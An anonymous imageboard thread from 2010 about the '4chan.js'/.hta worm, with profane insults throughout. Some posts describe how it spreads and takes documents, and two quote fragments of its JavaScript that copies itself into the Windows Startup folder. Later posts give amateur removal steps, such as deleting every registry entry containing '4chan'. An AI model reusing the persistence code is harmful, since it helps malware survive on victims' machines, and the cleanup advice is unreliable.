You should know better than to fall for shit like this.
Name:
Anon2010-07-20 15:28
Hi, I just did this but nothing seems to happen. How to make it work?
Name:
Anonymous2010-07-20 15:45
It's a trap! What to do now?
Name:
Anonymous2010-07-20 15:53
wtf is it anyway?
Name:
Anonymous2010-07-20 15:55
It changes the pics you upload, right?
Let's start with NOT FUCKING POSTING PICTURES then
Name:
Anonymous2010-07-20 16:03
Well actually it just repeatedly gives me some error message and it's really annoying.
Name:
Anonymous2010-07-20 16:07
>>11
No, it copies posts with pictures (corrupting the pictures to include the viral data in the process) and posts them randomly on the board.
Name:
Anonymous2010-07-20 16:23
I just get this error message over and over again: "imconvert.exe - This application failed to start because CORE_RL_magick_.dll was not found."
Massive failure, but it still manages to annoy me.
Name:
Anonymous2010-07-20 16:23
it's the same cancer as the colored boxes(4chan.js) shit. The problem was solved then by banning very one that had it. So expect the b&hammer!
Name:
Anonymous2010-07-20 16:30
ATTN: Retards
.hta is an HTML application that runs in the client's web browser and has NO SCRIPT LIMITATIONS, ALLOWING THE PROGRAM FULL ACCESS TO THE CLIENT COMPUTER'S REGISTRY.
God damn you guys are stupid.
Name:
Anonymous2010-07-20 17:36
Is it dangerous if you save it as a .jpg? There was one picture I liked.
Name:
Anonymous2010-07-20 19:35
>>14
Lucky bastard, it downloads and uses imagemagick to hide the script in the picture and to add "save as 4chan.hta, shit bricks" to the pictures.
It also starts when you run IE because it adds this line in the registry:
copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";
It also grabs random documents from your My documents folder and adds it to the picture, hoping something valuable comes up.
>>19
No, saving it as .hta gives it permission to execute stuff without further questioning. jpg isn't executable, so no problem. Save one of those files as jpg, open in notepad, and look at the sourcecode. You can find the stuff from >>18
Name:
Anonymous2010-07-20 20:14
So, how do you kill this bitch?
Name:
Anonymous2010-07-20 21:06
So just saving it as .hta means you're screwed?
I knew enough not to double-click it or anything... :/
Name:
Anonymous2010-07-20 21:12
I removed the 4chan file in the "startup" folder.
AVG said this after scan: "Virus found JS/Redir" ; "Moved to Virus Vault"
I also stopped the process in Task Manager
Is it gone from my computer now?
Name:
Anonymous2010-07-20 21:16
So I think I was saved by my own inability to follow instructions...I saved it as 4chan.htaShitbricks then 4chan.hta Shit bricks... perhaps I even got it right a few times but nothing ever ran when I opened it up
Name:
Anonymous2010-07-20 21:16
Saved an .hta.
I didn't find anything new in my startups.
My processes are all clear of anything suspicious.
Ran MWB. Found a lone trojan. Quarantined and deleted.
Restart. Nothing freaky happens.
I'm paranoid as fuck now.
Name:
Anonymous2010-07-20 21:29
I'm paranoid too, WTF I expected bricky diarrhea by now..but nothing...disappointing
Name:
Anonymous2010-07-20 22:13
Fortunately for me all I get is the missing .dll message too.
It's only partially bothersome but if there was some way to disable this i'd be much obliged if someone could tell me.
i'm having the same problem. tried clearing the file out in safe mode which stopped it for a while.
having dabbled in coding, i think this is what's screwing us over:
// Copy to startup folder and run from there
if (typeof WSH == "undefined") {
var copyname;
try {
copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
copyfile.close();
} catch(e) {
// Run from temp folder if this fails
copyname = "4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
i tried looking in my registry for that file, but i can't seem to find it. any ideas?
copyfile.close();
Name:
Anonymous2010-07-20 23:43
okay. i figured it out.
just so the uber newfags don't figure it out, while still protecting fellow innocent lurkers, the answer's in the previous post. access that registry entry, follow the address there, and do basic virus cleanup protocol and you shall be liberated.
Name:
Anonymous2010-07-24 16:45
1.Ctrl+Shift+esc
2.Find Processes and delete
3.Windows Key+R
4. %temp%
5.Ctrl+a
6. Delete all
7.Windows Key+R
8.Edit+Find
9. 4chan, delete ALL (THERE ARE MORE THAN ONE) entries
10.Download Spyfalcon or stopzilla (lol)
11.----------------------
12.Promotion from newfag to dumbass
Name:
Newfags are dumbfuck faggots2010-07-27 14:10
If you follow the directions, you are an epic dumbshit and you deserve everything that happens to your computer.
Name:
Anonymous2010-07-27 15:22
HERPIE DERPIE DERP I DO3Z EVERYZING 4CHON TELLZ ME TROLOLOLOLOLOLOLOL
um well i did it, adn i fighuard knowing its 4chan im dumbass, so right when i clicked a text came up, i went to norton 360 after i deleted BOTH files the pic and html one, and erased from harddrive, nothing happend, should i restart to see if something comes up/
Name:
NewFag2010-07-27 19:27
I have the actual script minus the massive png generated bullshit.